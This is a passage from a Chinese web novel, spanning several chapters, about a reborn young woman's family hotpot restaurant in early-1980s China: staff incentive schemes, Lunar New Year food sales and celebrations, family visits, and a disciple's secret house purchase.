她神情不变地对一家人道:“好的,酸菜五花肉套餐,葱油饼换土豆和白菜。几位客人稍等,我这就让后厨备菜。” 点完单出来,曹金凤知道自己又惹了祸,她倒是个能屈能伸的,连忙乖乖跟苏丽珍赔不是: “小老板,刚刚我对客人态度是有点儿不好,是我不对……我给您赔罪!” 苏丽珍淡淡道:“你态度不好,不是对我,没必要跟我赔罪。” 曹金凤讪讪道:“是、是,小老板你说的对!那什么,我知道错了,我以后一定注意!” 苏丽珍知道她是典型的“认错贼快,下次还犯”的主,也懒得跟她废话,只嘱咐她待会给这桌客人赠一份鸭下货,就让她接着忙去了。 不过,到底是之前被苏丽珍收拾服帖了,之后曹金凤对这一家五口再不敢露出半点不耐,态度好了不少。 等这一家五口吃完饭出来结账时,那妇女还拉着苏丽珍的手,不停的道谢。 而且她一直在夸店里好,说她一辈子也没来过这么好的地方,吃过这么好吃的东西! 看得出,她对这顿饭是真的很满意。 值得一提的是,那年轻小伙子临走时,也对苏丽珍郑重地说了一声“谢谢”。 苏丽珍听出了他话语中的感激,心里却并不觉得高兴。 顾客进店花钱吃饭,饭店礼貌招待,然后提供一顿可口的饭食,本来就是后者应当应分的。 只不过是给了顾客他们应有的尊重,就让客人觉得感激。 说实在的,这样的感激反而让人羞愧。 苏丽珍觉得必须尽快做点什么了。 于是,用了一晚上的时间,苏丽珍跟家人讨论后制定了一套奖惩制度。 既然说教没用,那就用“胡萝卜加大棒”的老办法吧! 先说奖励。 以服务员为例,在对他们进行一番简单培训后,每人必须按照培训的要求接待顾客。 同时,苏丽珍参考在米国的经验,在服务员点菜开单的专用单据底部,增加了两栏顾客满意度评价。 一栏是针对店内菜品质量、口味是否满意; 一栏则是对店内的服务及卫生情况的满意程度。 满意度分三个等级:满意,一般,不满意。 对服务员实行的是第二栏,对店内服务及卫生情况的满意评价。 顾客在结账时,直接在单据上满意度一栏划对号,服务员每得到一个满意评价就会拿到一分钱的奖金。 别小看这一分钱,现在店内每天接待的客人至少在九十桌,平均下来,三个服务员每人每天差不多要接待三十桌客人。 如果每个客人如果都划了满意,一天下来至少就是三毛钱,一个月就是九块钱! 在如今工厂学徒工只有十八块五的年代,作为刚刚参加工作的服务员,一个月拿九块钱的奖金不算小数目了。 当初招人的时候,苏丽珍就一直强调,表现好的员工会有奖金。 而这个奖金具体怎么发、发多发少也要有个参照标准,总不能看谁好就给谁,或者三块、五块没个定数。 现在以顾客满意程度作为发奖金的标准,有这根“胡萝卜”吊着,就不信掰不过来他们那些老观念! 当然光有“胡萝卜”还不够,“大棒”也绝对不能少。 顾客评价如果是“一般”,则不赏不罚,但是累计超过五次“一般”,那么当月奖金扣掉50%。 如果顾客评价“不满意”,一次扣掉两分钱,当月连续累计超过三次,当月奖金全部扣除。 后厨人员适用的是对店内菜品质量及味道的满意度评价,实行标准与服务员一致。 不过,因为后厨是整个店的重中之重,所以奖惩方式也是整体性的。 说白了,就是奖金一起拿,受罚同样也要一起。 这样彼此互相监督,任谁也不能疏忽大意,否则就是连累别人。 除了后厨和服务员,针对店里的钟点工和收银员,苏丽珍则是采用挂钩制,就是直接取当月员工平均奖金的50%,作为这些人的奖金标准。 采用这种挂钩的方式也更能调动她们的积极性,不至于看着别人热火朝天的干活拿奖金,她们却只能待在一边挣固定的死工资,这对店内的团结也是极为不利的。 不过,考虑到钟点工的工作时长和收银员工作相对轻松,所以才制定平均奖金一半的标准。 当然,如果钟点工工作时损毁了餐具,以及收银员出现收错钱或账目不对等问题,造成店内损失的,自然t也要罚扣奖金。 如果超出累计次数,同样会予以取消当月奖金的惩罚。 第二天开会,苏丽珍把这套奖惩制度一搬出来,众人一听说每个月有可能拿那么多的奖金,果然欣喜不已。 当然,对于严厉的惩罚也是心惊肉跳。 不过,大棒只有真砸到了自己身上才知道疼,可那么大一根“胡萝卜”吊在前面,看着可太诱人了。 所以之后,对苏丽珍严格要求的培训,大家都表现优秀,一个个更是摩拳擦掌、跃跃欲试,似乎就等着要大干一场。 这里尤其以曹金凤最是激动。 想到每个月能拿到至少九块钱的奖金,她就像打了鸡血似的。 这回再不用苏丽珍在旁边盯着,只要来了客人,她就立马主动迎上前。 面对客人点菜时的犹豫不定,也再没有了半点儿不耐,小嘴一张,巴拉巴拉就能给人家介绍一大串儿来! 而且全程面带笑容,态度积极。 这么一来,没过几天,她还真就招待出了一批熟客来。 现在不少人一来就奔着曹金凤,“小曹”长,“小曹”短的,就愿意让她接待。 苏丽珍冷眼瞧着,倒觉得这曹金凤虽然身上毛病一大堆,但是也确实有几分小聪明。 尤其在联络感情、套近乎这方面还挺厉害的,连王树都比她差了点。 不管怎么说,因为苏丽珍这套直接建立在顾客满意程度上的奖惩制度,让店里所有人的服务意识空前提高。 “珍珍火锅店”本就食物味道好,装修布置好,如今又加上一个服务态度好,三好加在一起,让店里的名声传的更广,生意也是空前火爆。 连续一周,店里的营业额都达到了五百元,最高两天甚至突破了六百元。 一家人每天关门闭店后,数钱都数到手软。 这么多钱放在家里不安全,可是现在国内对居民开展储蓄业务的银行只有一家人民银行。 担心天天往银行跑会被什么人盯上,他们也不敢太频繁的存钱。 苏卫华夫妻俩是绝对没想到,他们有一天会为家里钱多到不知道怎么处置而烦恼。 不过这样的烦恼,苏丽珍却很喜欢。 尤其趁着年关将近,她还计划着要怎么把这个“烦恼”继续扩大。 说到过年,首先想到的就是置办年货。 家里用的,走亲访友串门儿用的,多多少少总要准备一些。 苏丽珍盯上的,就是大家串门儿用的年礼—— 作者有话说:感谢在2023-05-0622:34:31~2023-05-0919:33:27期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:檐上月3瓶;像鸟儿一样飞1瓶; 非常感谢大家对我的支持,我会继续努力的! 第94章 如今天寒地冻,店里的卤味短时间也坏不了,是很适合做礼品的。 比如说整只的卤鸡、卤鸭,不说亲戚间你来我往,就是专门拿去送礼也拿得出手。 其实之前阳历年的时候,就有不少老主顾找他们家想订做一些卤味,做走亲戚的礼品。 只是那会儿,他们心里正忙着筹备新店,又要顾着搬家,心有余而力不足,只好遗憾地推掉了。 现在,他们既有地方又有人手,苏丽珍不想再错过这么好的机会了。 为此,苏丽珍专门找了家生产印刷包装纸的厂子,订做了一批漂亮的包装纸袋做卤味包装。 虽然碍于现在的技术,这批纸袋只是最简单的牛皮纸,但是苏丽珍选的是最好的材料、最先进的工艺,而且包装图案也是她精心设计的。 上次送给安厂长和纺织厂的另外两位领导时,连他们都赞不绝口。 尽管这样成本增加了一些,但是做好的包装袋成品确实很精美。 这些包装袋拿回来的第一天,苏丽珍就用它装了两只卤鸡,特意摆在了柜台上面,果然吸引了不少人,小半天就卖掉了四十多只的卤鸡和卤鸭。 许多人没买着,纷纷找苏丽珍预定。 等当天晚上饭点客流高峰过后,预定的人数又增长了一波。 苏丽珍心里有了底,果断找张表舅让他年前这段时间放开手脚,尽量多收鸡鸭,有多少、收多少。 张表舅也不含糊,当即领着两个儿子跑遍了附近大大小小的公社大队,一天能收上来七、八十只活鸡活鸭。 这个数目看着是不少,可是拿到店里依然不够卖。 尤其是过了腊月二十以后,很多顾客都是两只三只的拿,大有供不应求的架势。 但是每天收上七、八十只鸡鸭,也已经是张表舅一家的极限了。 一个是因为目前附近村子里没有专门的养鸡厂,光靠农户个人散养,供货终究有限。 毕竟从他们家卖卤开始,张表舅就一直在这些村子收货,这么长时间也确实收得差不多了。 现在又没有速成的白羽鸡种和鸡饲料,农户家小鸡出栏怎么也要小半年。 再者,如今没有专门的屠宰脱毛设备,全靠人力,也极为影响效率。 店里的这些活禽,苏丽珍都是直接外包给张表舅一家,让他们屠宰、收拾干净再送来的。 为了尽快处理这些鸡鸭,张表舅回村把他两个兄弟和兄弟媳妇,外加丈母娘、大舅子都给接到了他住的镇子上干活,这才没耽误给苏丽珍供货。 眼看着大好的机会在面前,却不能痛痛快快挣钱,苏丽珍自然不愿意。 她直接去黑市,找了经常打交道的倒爷,从他们手上订了一批活禽,让对方每天送货,一直送到过年。 这些二道贩子十分神通广大。 他们跟市里的运输队有关系,很多货都暗中走汽运,这就不是张表舅他们父子三人光靠一台自行车,或者借牛车、马车能比的。 毕竟凤城是省会城市,周边的村落怎么也比不上底下县市多。 有汽车出去转一圈,便是比苏丽珍要的数量再翻两番对他们来说也不在话下。 不过也正因为这样,从他们手上拿货肯定要比张表舅直接在村子里收购要高一些,但是对于苏丽珍来说,利润仍然很可观。 而且人家也确实是有门道,比如之前双方暂时约定,对方每天给他们送鸡、鸭各五十只,加起来一百只。 可人家第一天就一口气拉来了一百五十只鸡鸭,还问苏丽珍能不能都吃下,他们可以再优惠一点。 这可是求之不得的好事! 苏丽珍当然一口就答应了。 之后对方每天也是按这个数字给他们送货。 货源问题解决了,自然能放开手脚干! 而且卤味简单易做,只要把卤汁调好,各种肉类往锅里一放,慢慢熬煮入味即可,不需要额外添加人手。 怕后厨倒腾不开,影响饭店的生意,苏丽珍就让人在饭店门口支了两个铁炉子,专门用来做卤鸡卤鸭。 一时间,饭店周围每天都有浓郁的香味飘散着,在这寒冷的冬天里无疑又成了一块勾人的招牌! 无论是进店吃饭、还是外面路过,闻到这个香味都禁不住过来看两眼,看过之后多数人都忍不住掏钱买上一只两只的。 小年这天,有个经常来店里吃饭的老主顾,刚好是一家生产计生用品的小厂子领导,人家相中了这些卤鸡、卤鸭,想专门订一批当做厂子工人过年的福利。 这间厂子不大,只有八十多号人,每个工人发一只鸡和一只鸭,总共需要鸡、鸭各八十五只。 之前因为货源不够,这批卤味苏丽珍原打算零散着分批做完的,但是如今有了黑市稳定供货,她就可以一口气卤好,以最快速度交货,着实挣了一笔。 借了老苏家的光,同样赚了一笔的还有张表舅一大家。 自从村子里收不上来多少鸡鸭开始,苏丽珍就让张表舅负责接洽从黑市上收来的活禽。 还是老规矩,这些鸡鸭先交由他们处理干净,然后再送到店里来。 这段时间,张表舅一家带着丈母娘一家,两家人起早贪黑的干活儿。 辛苦是真辛苦,但是收获也是真喜人。 就不说每天拿到的工钱,就单单是那些苏家不要的鸡、鸭副产品,就够大家过个肥年了。 鸡毛鸭毛可以卖钱;血可以做血豆腐;鸡鸭肠、腰子、蛋包也都是好东西。 尤其是鸭肠,用草木灰搓洗干净,放点红辣椒,大火一炒,那真是老好吃了! 数量太多,自家吃不了,收拾干净拿到大集上一毛钱一斤卖,不少人要呢! 就这样,所有人在挣钱的喜悦中每天忙得脚不沾地,这一忙就忙到了年前二十八。 二十八早t上,黑市的负责人亲自过来找了苏丽珍一趟,说是今早先送一百只鸡、鸭,等下午还会再送一百只过来,然后他们就准备休息了。 对方很客气,给苏丽珍认真解释了一番,苏维珍也听明白了。 干他们这一行的,头几年风险大,就指着逢年过节挣两个好钱儿。 如今赶上好时候,生意好做了,就想陪陪家人,一起过个好年。 说白了,就是钱挣差不多了,不差这两天。 苏丽珍也表示理解。 她也没让人家白跑,把店里的卤鸡、卤鸭各拿了一只送给对方。 对方很高兴,直夸苏丽珍讲究,还说他们年后初五就重新开张,让苏丽珍有什么需要到时候直接过去。 苏丽珍也痛快答应了。 目前,店里从黑市拿货,除了鸡鸭,还有牛肉和猪下货。 等过完年,短时间不做节礼,鸡鸭的需求量肯定不能像年前这么多。 日常的用量,有张表舅一家随着羊肉一起收上来就够了。 不过苏丽珍也没把话说死,做生意就是这样,多一条人脉,也多一条出路。 黑市的人走后,苏丽珍跟苏卫华夫妻打了招呼,等送完今天这二百只鸡鸭,黑市那边就暂停供货了。 苏卫华夫妻也没说什么,还反过来劝苏丽珍,说是店里这一气儿也挣了不少,不差这一天。 再说二十九了,也该歇一歇。 之前店里一直忙,苏丽珍和苏小麦两个一直被拴在店里,都没怎么出去玩过。 正好明天没什么事,李翠英张罗着想带两个闺女出去好好逛逛,顺便办点年货。 苏丽珍自然是没意见。 虽然她自己是无所谓,但是看见她妈在一旁乐呵呵地做计划,加上小麦那充满期待的眼神,她当然双手赞成。 很快,张表舅来送货。 苏丽珍和他商量,想让张表舅和家里人受受累,今天就把那二百只鸡鸭都处理完送过来。 这样,张表舅一家明天就能在家好好歇着,不用再忙了。 店里二十九下午五点开始放假,一直放到年初六。 食材暂时都够用,也不用张表舅再忙活什么,一切等过完年再说。 苏丽珍知道张表舅这一年没少忙,叮嘱他过年这几天一定在家好好歇歇。 张表舅自己却一点儿也不觉得累。 今年下半年他们一家就像做梦一样,挣了钱,孩子们都上了学,还搬到了镇子上! 这日子别说累了,他只要一想想就浑身是劲! 当然对苏丽珍一家,也是发自内心的感激。 所以,等下午再送那收拾好的一百只鸡鸭过来时,他特意给苏丽珍一家带来了一份年礼。 两条至少三斤往上的胖头鱼和两只肥嫩的大鹅。 知道苏丽珍喜欢吃鱼,这两条胖头鱼是张表舅特意嘱咐大儿子到周边有河的村子,挨家打听才买到的。 这两只鹅就更难得了。 鹅这东西特别能吃,费粮食不说,下蛋又不如鸭子多,养鹅远不如养鸡鸭划算,所以现在养鹅的人很少。 为了买这两只鹅,张表舅他们可费了不少心思,就想让苏丽珍一家尝个新鲜。 面对人家一番心意,苏丽娟一家也没客气,高高兴兴地收下了,并把自家之间准备好的一些在乡下比较紧俏的票据作为回礼。 其中也有一张缝纫机票。 这是苏丽珍之前听张舅妈和钟嫂子她们唠嗑时说的,说她家两个儿媳妇特别羡慕谁家有缝纫机。 可是缝纫机票现在太难求了,自家男人托了好多人问都弄不到。 苏丽珍这张还是她去黑市找人换电视机票时,无意中看对方手上有一张,直接买过来的。 本来是想着给李翠英用,不过现在店里生意忙,再加上李翠英对裁衣缝补这些也不擅长。 所以一家人商量了下,决定还是送给更需要的张表舅家—— 作者有话说:感谢在2023-05-0919:33:27~2023-05-1120:06:59期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:5226498010瓶; 非常感谢大家对我的支持,我会继续努力的! 第95章 二十九一大早,一家人吃完饭就早早下了楼。 今天卤味柜台暂停出售,昨天两百只鸡鸭卖掉了一百二十多只,有没买到的老主顾定好今天又来拿走三十多只。 剩下四十只鸡鸭加上猪头、猪肘、下水、香肠等卤好的熟食,留着自家吃或者走礼用,就不卖了。 卤味柜台停了,加上明天过年,估计今天来吃火锅的客人也不会太多,店里不忙,所以李翠英按照昨天说好的,带着苏丽珍和苏小麦一起去逛百货商店,置办年货。 按计划,她们打算先去百货商店看看衣服鞋子有没有什么新货,然后去副食品店买带鱼,过年做红烧带鱼吃。 春节期间,居民凭副食本能买上两斤海鱼,不限种类,不买白不买。 要是还有空余时间,最后再去趟自由市场转转。 娘儿仨计划的是挺好,可惜等到了地方就傻了眼。 好家伙,不管是百货商店还是副食品店,到处人山人海,队伍直接排出了半条街! 苏小麦看着到处人头攒动,不由直咂舌,“这人也太多了!干妈,妹子,城里年年二十九这天都这么热闹吗?” 这问题还真把李翠英和苏丽珍问住了。 之前他们一直在机械厂家属院住,机械厂待遇好,每到年跟前儿都会发一些肉蛋粮油做福利。 李翠英又是食堂临时工,每天只干半天活儿,有的是时间,所以家里缺什么也早早都买回去了,记忆里还真没赶着离年这么近的时候来买东西。 今天也是见识到了,这情况别说好好逛逛了,能买到计划买的东西就不错了。 其实,家里什么东西都不缺,她们就是想出来走一走,感受一下过年的气氛。 不过看见这么多人,娘儿仨都打了退堂鼓,最后只买了几瓶雪花膏和两斤带鱼就回家了。 虽然没买到什么东西,但是到家的时候也已经快十一点了。 店里今天果然没有什么生意,总共只有四桌客人,难得的清闲。 苏卫华安排张舅妈和齐志飞简单烙了几张糖饼,让大家先垫一垫,等下午两点钟闭店后,大家再正正经经吃一顿好的,然后发工资和福利,发完就正式放假。 大家对这个安排自然没有什么意见。 事实上,听说老板不但给他们发工资和奖金,还要请大伙儿吃大餐加发过年福利,所有人都特别高兴,一个个脸上的笑容就没下去过。 离下午两点还有些时间,反正没什么事,苏丽珍干脆拉着苏卫华准备挨家送年礼。 他们家准备的年礼大多是店里的卤味,早点给大家送过去,正好给各家年夜饭多添两个菜。 今年的年礼除了苏卫华在机械厂的两个好朋友,还有丁大勇家、薛老爷子家、卢警官家和安厂长家。 另外,还有一个谢家。 虽然两家并没有什么实际接触,但是家里开业的时候,人家毕竟托了安厂长来贺喜,还送来了那么一张珍贵的电冰箱票,所以送年礼既然有安家,自然不好漏了谢家。 不过,考虑到谢家不是普通人家,苏丽珍又怕两家地位悬殊,这样贸然过去有攀附巴结之嫌,倒惹了人家反感。 虽然谢芳芳隔三差五就到店里来找她玩,但是托谢芳芳把东西带回去又显得不够正式,所以苏丽珍思来想去,决定还是把给谢家的年礼一起带到安家,托安厂长帮忙转交一下。 每家除了自家做的卤味之外,苏丽珍还额外准备了两罐肉酱。 这些肉酱是李翠英参考《料经》中几个方子,结合家乡人的口味新钻研出来的,本来是想着做好了备着,等忙不过来或者没时间做菜时,用来拌面条或者蘸馒头吃。 这肉酱咸鲜味美,用筷子蘸一点就满口生香,好吃的不得了!做好后就成了大家的心头爱,现在是顿顿都落不下。 看大家反应都挺爱吃的,苏丽珍索性到杂货铺买了一批老式的小瓷罐子,专门用来装这些肉酱,也给各家送去尝一尝。 一家两罐,一罐牛肉酱;一罐辣肉酱,既能就着主食或者蘸青菜吃,也能用来做炖菜的佐料,怎么吃味道都不错。 因为各家住的都不算远,父女俩没花多长时间,很快就挨家送完了。 当然回来的时候,也大包小包带回不少t各家的回礼。 中午路过百货商店,发现人比上午少了许多,苏卫华还抽空买了不少炮仗。 一晃到了下午两点,苏卫华把停业休息的牌子挂了出去。 店里最大的包间内,能供十几个人就餐的大桌上,此刻已经摆满了各式各样的美食。 除了店里的三款特色火锅和配菜,李翠英还亲自下厨做了几道拿手好菜。 锅包肉、溜肉段、炒肥肠、红烧鱼、拔丝土豆、翡翠白菜卷。 主食有饺子、面条、炸油饼,满满当当摆了一大桌。 另外,苏卫华还准备了不少酒水饮料。 等大伙儿热热闹闹、痛痛快快吃完了这顿丰盛的大餐后,接着就是重头戏——发工资和福利。 除了当时说好的基本工资和奖金,因为过年,每人还额外还多发了五块钱红包,外加店里的一只卤鸡和卤鸭作福利。 大伙儿捂着口袋、拎着东西,个个高兴的不行,出了店门老远都能听见他们的笑声。 大年三十,苏丽珍是在一片此起彼伏的鞭炮声中醒来的。 枕头边上放着头一天准备好的一身新衣服。 苏丽珍穿戴好起床后,对床的苏小麦也已经穿好了一身新衣服等着她。 小姐妹俩相视一笑,拉着手一起出了房间。 李翠英已经煮好了面条和鸡蛋,正准备熬糨子,待会儿吃完早饭贴对联用。 在东北,除夕早上一般就是简单对付一口,正餐大多是在中午十二点到二点之间,那时各家主妇才会使劲浑身解数做上一桌美味佳肴团圆饭。 等到晚上,也就是除夕夜,还有一顿美味的饺子。 按说,苏卫华作为长子,一家三口应该回老家跟苏家老两口一起过年。 只不过头些年,苏卫华跟苏家老两口关系不算好,苏丽珍又很讨厌回爷奶家,所以这些年的除夕一直是一家三口自己过。 今年可能是经历的事多了,苏卫华如今眼界提升,心态也好了,有些事情不再像之前那么纠结。 苏丽珍更是凡事都以父母为准,只要能让父母高兴,在不涉及根本的前提下,对爷奶小叔一家,她不介意手松一点。 两边的关系照比往年好了不少,所以她那人精的小叔苏卫民早早就过来了两趟,说请他们一家今年回去一起过除夕,还说这是苏丽珍爷奶的意思。 不过苏卫华并没有同意,他以要看店的理由婉拒了苏卫民。 苏丽珍仔细观察过她爸,发现她爸是真的不想回去,心里也松了一口气。 人的理智并不会随着财富的积累而与之始终保持正比。 很多时候,钱多了,膨胀了,脑子不转弯了才是常态,苏丽珍也害怕她爸会陷入这种虚假的繁荣里。 并不是说她爷奶和小叔一家就一定是奔着他们家钱财来的。 但不可否认的是,如果他们家还像上一世那样,一家三口缩在原来的小院里,每天吃舍不得吃、穿舍不得穿,甚至过年都不敢多买一斤肉。 她不相信苏卫民还会这样热情地一再邀请他们回去。 显然,苏卫华心里也明白这件事,所以才会毫不犹豫地拒绝。 事情一旦发生过,就必定会留下痕迹,表面看不见了,不代表不存在。 迟来的热情和诚恳,也难免显得廉价。 所以她很高兴,她爸苏卫华在对爷奶和小叔一家的态度上始终是清醒的。 再者,今年是小麦来家的第一个春节,她从前的那些苦日子就不说了,苏卫华和李翠英十分希望她能过个舒心年。 毕竟那天苏老太太虽然在人前没说什么,但是背后没少嘀咕。 苏小麦表面上大大咧咧,其实是个很细心的人,一定能察觉到苏老太太对她的防备和疏离。 她什么都懂,只是不说而已。 小麦越是这样,苏卫华夫妻就越是心疼,越是不想委屈了她。 一家四口就在自家小楼里过这个年,既清静,又自在。 吃完了早饭,苏丽珍和苏小麦陪着苏卫华一起贴好了对联,小姐妹两个就钻进了厨房,要帮李翠英打下手。 李翠英却不由分说把她们推了出来,“这儿不用你们,沾了一身油烟味儿,新衣服就白穿了!你们看电视去吧,这儿有你们爸(干爸)帮我呢!” 今年过年除了比副食品店种类还多的各种鸡鸭鱼肉,家里还新添了一台14寸的黑白电视机。 这台电视是小年那天在第一百货商店买的,原价800块。 那天正好赶上齐志飞的表叔吕主任出来,吕主任听说是苏丽珍家要买电视,二话不说就给了他们一个八折的内部价。 最后一家人只花了640块,就把这台如今特别抢手的小电视搬回了家。 其实现在已经有了彩电,只不过大多都是进口货。 之前,苏丽珍相中了一台岛国产的21寸松下牌彩电,竟然要2200块! 苏卫华夫妻一听就把她拉走了。 苏丽珍想想,现在的电视也没几个台,节目更是少的可怜,连春晚都要83年才有。 与其现在花大价钱买一台不怎么用得上的电视摆在那里吃灰,不如等过几年电视普及后,一步到位买个大彩电,那时更划算!这才作罢。 苏丽珍打开电视,一套台正在播放新闻;二套台则在播放一个歌舞剧,是关于少数民族的。 苏丽珍看了一会儿,觉得还挺有趣的,苏小麦更是直接看入了迷。 随着歌舞剧接近尾声,外边的鞭炮声越发响亮,苏卫华也喊两个闺女陪他一起放鞭炮。 “噼里啪啦”一阵鞭炮响,爷儿仨捂着耳朵冲进了屋里。 这时,李翠英已经摆好了一桌子好菜,正招呼他们准备吃饭。 耳边热闹的鞭炮声,食物诱人的香气,以及亲人们的欢声笑语,交织在一起,偶尔会让苏丽珍有一种不真实感。 这是她上辈子午夜梦回时最大的期盼。如今一切就在眼前,只有她自己知道,这一刻,她等了多久、盼了多久…… “珍珍,愣着干什么呢?快把杯子举起来,我和你妈祝你和小麦两个新的一年万事顺利,一切称心如意!” 苏丽珍回过神,也举起面前装着汽水的酒杯,微笑道:“爸、妈,小麦姐,我也祝你们新年身体健康,心想事成!也祝咱们店红红火火,财源滚滚!” “干杯!” “新年快乐!” 面前是她所深爱的亲人们,为了他们,她愿意付出所有。 第96章 大年初一,按惯例,早上起来还是吃饺子。 在大伙心里饺子就是最好的食物,所以开年第一顿饭吃顿饺子也是图个好兆头。 一家四口吃完饺子就拎着大包小包去了苏丽珍爷奶家。 苏老爷子早早就打发了苏丽珍大堂哥苏金宝在门口等着。 苏金宝看见他们来,老远就招呼起来。 苏丽珍的爷奶和小叔、小婶听见动静都迎了出来,态度照比从前热络了许多。 等一家人进了屋,照例是小辈先给长辈们拜年问安。 今年多了一个苏小麦,不知道是不是苏老爷子提前发过话,老太太今年给的红包可厚实了不少。 苏丽珍飞快扫了眼苏小麦那边,确认对方的红包跟自己的大小、厚度差不多,这才一边收了红包,一边说了不少好听话,哄的苏家老两口笑容满面的。 苏卫民和郑艳红两口子话语间也多了恭维和讨好,尤其是郑艳红,再没像往常一样刨根问底,打听这、打听那的。 这夫妻俩都是精明人,如果他们有心想迎合什么人,还是很容易做到的。 总之,这趟过年回老家,没有什么幺蛾子,一家四口待得很舒心。 吃完了午饭没多久,婉拒了苏老太太和郑艳红的热情挽留,一家人就回了店里。 年初二一大早,丁大勇就拉着一三轮车的东西来给苏卫华拜年。 “师父、师娘,两位妹妹,我来给你们拜年了!” 看他那恨不得把商店搬来的架势,苏卫华和李翠英都惊呆了。 “你这孩子,说了多少回了,挣了钱你好好攒着,咋又乱花!” 自从苏家买了这座闹市临街的小洋楼后,苏卫华就让丁大勇把卖烤地瓜、烤饼的摊子搬到了店门口。 一方面,这样不用丁大勇来回搬炉子,既方便、又节省时间; 另一方面,有苏丽珍一家在这儿照应,也更安全一些。 可能是这一片地段确实好,加上有火锅店引流,丁大勇的烤炉一搬过来,生意就格外的好。 尤其是烤地瓜,赶上丁大勇休白班的时候,t一天下来能卖个七、八十斤! 而且自从苏丽珍放假没什么事,也经常帮他看摊。 丁大勇上班的时候,她就主动把炉子支起来。烤地瓜没什么技术含量,只要控制着炭火大小,掐好时间给地瓜翻面就可以了。 这样双管齐下,近一个月,他也小赚了一笔! 丁大勇憨憨一笑,“师父、师娘,这都是我应该的!比起你们帮我的,我这儿还差得远呢。” 进屋后,李翠英给丁大勇沏糖水、拿饮料,苏丽珍和苏小麦忙着给他端水果、干果等各种小零食。 剩下苏卫华一个,没啥干的,干脆数落起唯一的爱徒。 “你说说你,辛辛苦苦挣的钱全搭我们身上了!你看你自己,这过年了,连件新衣服都没买!” 丁大勇进屋后就脱了身上的厚棉袄,露出里边他惯常穿的一件深蓝色外套。 苏丽珍记得,这件衣服好像是前年秋天她妈李翠英给做的。 这衣服用的是好料子,但是架不住丁大勇穿得勤,如今两个胳膊肘都已经磨损,打了补丁,衣襟处也洗得发白。 李翠英沏了糖水过来,看见丁大勇身上的衣服也是只皱眉,转头就对苏伟华道: “二十九那天我们去百货商店,我老远扫了一眼,看见柜台上有几件新样式的男士外套。那颜色、样式都正适合小年轻穿,明儿咱俩去给大勇买两件!” 苏卫华一口答应。 丁大勇敢忙摆手道,“师父、师娘,真不用,我自己能买!再说,我也不是小孩,不用过年非得穿新衣服,我身上这件其实就挺好的!” 苏卫华和李翠英才不依他,连说这事不用他管。反正李翠英亲手给丁大勇做了好几年衣服,早就知道他的尺寸,所以不管是给他买衣服、还是做衣服,压根儿不用问他。 那边讨论着买新衣服的事,苏丽珍却打量着丁大勇,敏锐地察觉到他下巴上有一层青茬,眼下也淡淡的发乌,虽然一直有说有笑,但是仔细观察,还是不难发现他眼底隐藏的憔悴和疲惫。 她蹙了蹙眉头,直截了当地问道:“大勇哥,我看你脸色不对,你是不是遇上什么事了?” 苏丽珍冷不丁这一句把大伙儿都给说愣了。 苏卫华夫妻却是一点没怀疑,第一时间齐齐往丁大勇脸上看去。 这么一细看,果然发现了不对劲儿。 李翠英直接“哎呀”一声,“大勇啊,你这脸色是有点不好,我瞅着好像还瘦了一点!咋地了?是不是真有啥事啊?” 丁大勇没想到师妹和师娘的眼神这么厉害,自己一下就被看穿了,嗫嚅了半天,一时不知该不该说。 苏家人一看他这样,就知道是真有事,苏卫华一下就急了,“砰”的一下从椅子上站了起来,“到底咋的了?你快说!不许瞒着!” 丁大勇看师父着急了,这才一脸难受道:“师父、师娘,是我妈病了!” 苏丽珍一家一惊,苏卫华急道:“病了?咋能呢?二十九那天我们去你家那会儿,人还好好的啊!怎么就突然病了?啥病啊?” 提起这个,丁大勇眼圈直接红了,“是血压太高了,差一点儿脑溢血……幸亏送医院送的及时。” 末了,他又低低补了一句:“我妈……她是被我气病的。” 原来,年前二十五那天赶上丁大勇休班,他想着近一个月为自己那些关于房屋修造的问题,没少麻烦薛老爷子,便想着过年买些礼物给他老人家送去,也算是表一表谢意。 那天中午,他就去了一趟百货商店,排队的时候,正好听见排在他前面的两个人唠嗑。 那两人应该是同事关系。就听其中一个男人跟自己的同事吐苦水,说是自家在客运站后身的那片老巷子里有个小房子,因为多年没有人居住,加上没精心看顾,房子已经破损不堪了。 本来,好几个想找他租房子的人到了地方一看,就都摇头走了。 他想找人重新修缮一下,但是前后找了几个大师傅过来看了下,都说这房子要想修到能住人,最起码得二百多块钱! 男人觉得花这么多钱不划算,因为他这房子处在巷尾,只有六十多平,加上一个十多平的小院儿,这么点儿的房子租出去一年的房租也是达不到两百块! 他不想修,谁知道修房子的师傅却劝他,说如今好好收拾一下,二百块钱还能下来,可这房子如果再这么继续放下去,将来得花更多的钱! 男人因此犯了难,直跟自己的同事抱怨,说当初邻居曾经想买他们家这个小房,只不过他爸妈没舍得,早知道现在这样,还不如当初把这房子卖掉,也省得现在上不上、下不下,闹得人头疼。 说者无心,丁大勇却是记在了心里。 他一直记得师傅,师娘一家当初买小洋楼时说过的话,有钱买两座房子屯在那儿指不定将来这些房子就能升值。 这男人说的房子位置他知道,就在客运站后边隔了一条街的那片老居民区里。 那一片都是老房子,单看住房肯定不算好,但是胜在地理位置确实好。 他记着小师妹说过,靠近市中心一带的房子,将来肯定会越来越值钱。 丁大勇觉得自己不算什么聪明人,但是他信服师傅一家的眼光,尤其是小师妹! 就说这半年来,看小师妹说的每一句话、做的每一件事,桩桩件件哪有没成的? 就师父一家如今的日子,谁能不羡慕? 丁大勇早下了决心,要照着小师妹的话去做。如今眼前有这个机会,他丝毫没犹豫,当场就拦住了那个男人,跟他打听起房子的具体情况。 那男人正愁手里的房子成了烫手的山芋,不知怎么处理,一见丁大勇这个“冤大头”撞上来,哪里还肯放过! 于是一个急着买,一个着急卖,双方一接茬,当场就说好,买完了东西就去看房子,反正离得也不远。 到了地方果然如那男人之前抱怨的,这房子位置是真的不错,但房屋情况也是真是破旧得不行。 不过丁大勇不在乎,他买这房子本来也不是为了住,再说二百块钱的修缮费用,他也拿得起。 但是有了这个借口,跟房主砍价的时候,他正好有了发挥余地。 他可是见识过小师妹买小洋楼那会儿,跟纺织厂那三个大领导砍价时的样子! 于是照着苏丽珍那天的套路,最终以1080块钱的价格成功拿下了这个房子。 双方约定第二天就过户交钱。 这房子买的是挺顺利,可后续问题也不少。 先不提房子本身需要等过完年春暖花开时找人好好修缮,就说这买房子的钱也是丁大勇背着丁大娘私自动用的。 丁家的钱都在一本存折上,主要也是丁大勇学着师父一家,手里的钱攒到一定数量就马上存到存折里,省着都放在手里不安全。 